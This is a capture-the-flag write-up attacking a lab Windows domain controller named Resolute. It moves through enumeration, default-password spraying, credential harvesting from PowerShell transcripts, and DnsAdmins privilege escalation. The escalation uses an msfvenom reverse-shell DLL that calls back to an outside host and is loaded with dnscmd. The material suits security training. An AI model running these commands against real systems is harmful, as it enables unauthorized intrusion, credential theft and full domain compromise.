Nmap:
Nmap scan report for 10.10.10.169
Host is up (0.024s latency).
Not shown: 65511 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-01 04:35:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local,
Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local,
Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
61299/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/1%Time=5ED483B5%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h28m16s, deviation: 4h02m29s, median: 8m15s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2020-05-31T21:36:33-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-06-01T04:36:37
|_ start_date: 2020-06-01T00:12:07
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.89 seconds
Using enum4linux I find a username an password of marko;Welcome123!.
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account
created. Password set to Welcome123!
If one didn't know about enum4linux then a quick bash script could have done the trick as well. First I get a list of users.
root@1e98a617cca8:~/Resolute# rpcclient -U "" 10.10.10.169
Enter WORKGROUP\'s password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
Then I separate the rid numbers into another file. I will use a script to query each rid number which is the same as querying each user.
root@1e98a617cca8:~/Resolute# while IFS= read -r line; do rpcclient -c "queryuser $line" -U "" 10.10.10.169 -N | grep -e "User Name" -e "Description";done < rids.txt
User Name : Administrator
Description : Built-in account for administering the computer/domain
User Name : Guest
Description : Built-in account for guest access to the computer/domain
User Name : krbtgt
Description : Key Distribution Center Service Account
User Name : DefaultAccount
Description : A user account managed by the system.
User Name : ryan
Description :
User Name : marko
Description : Account created. Password set to Welcome123!
Using the credentials I try to log in using evil-winrm but I am unsuccessful. Trying the other usernames I am successful with logging in as the user Melanie.
root@1e98a617cca8:~/Resolute# evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents>
From here I can read the user.txt flag
*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
1c3be45fcfe249796ccbee8d3a978540
Doing some enumeration I find a interesting folding in the C: Drive called PSTranscripts. Withing that folder there is a file called PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt and inside that file there are some credentials for the user ryan
ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
I use evil-winrm to log in as ryan. Running whoami /all will show that ryan is a member of the DnsAmins group. This can be exploited by generating a malicious dll with msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.23 LPORT=9999 --platform=windows -f dll > dns.dll
Now i'll tell the system to use my dll by using the dnscmd command
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd resolute /config /serverlevelplugindll \\10.10.14.23\share\dns.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
Then I stop/start the service
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2508
FLAGS :
Checking my netcat listener I now have a shell as nt authority/system
root@1e98a617cca8:~# nc -nlvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.169.
Ncat: Connection from 10.10.10.169:51786.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
From here I can read the root.txt flag
*Evil-WinRM* PS C:\> type Users\Administrator\Desktop\root.txt
d13b4d05b90f8ff45667d75e42586c72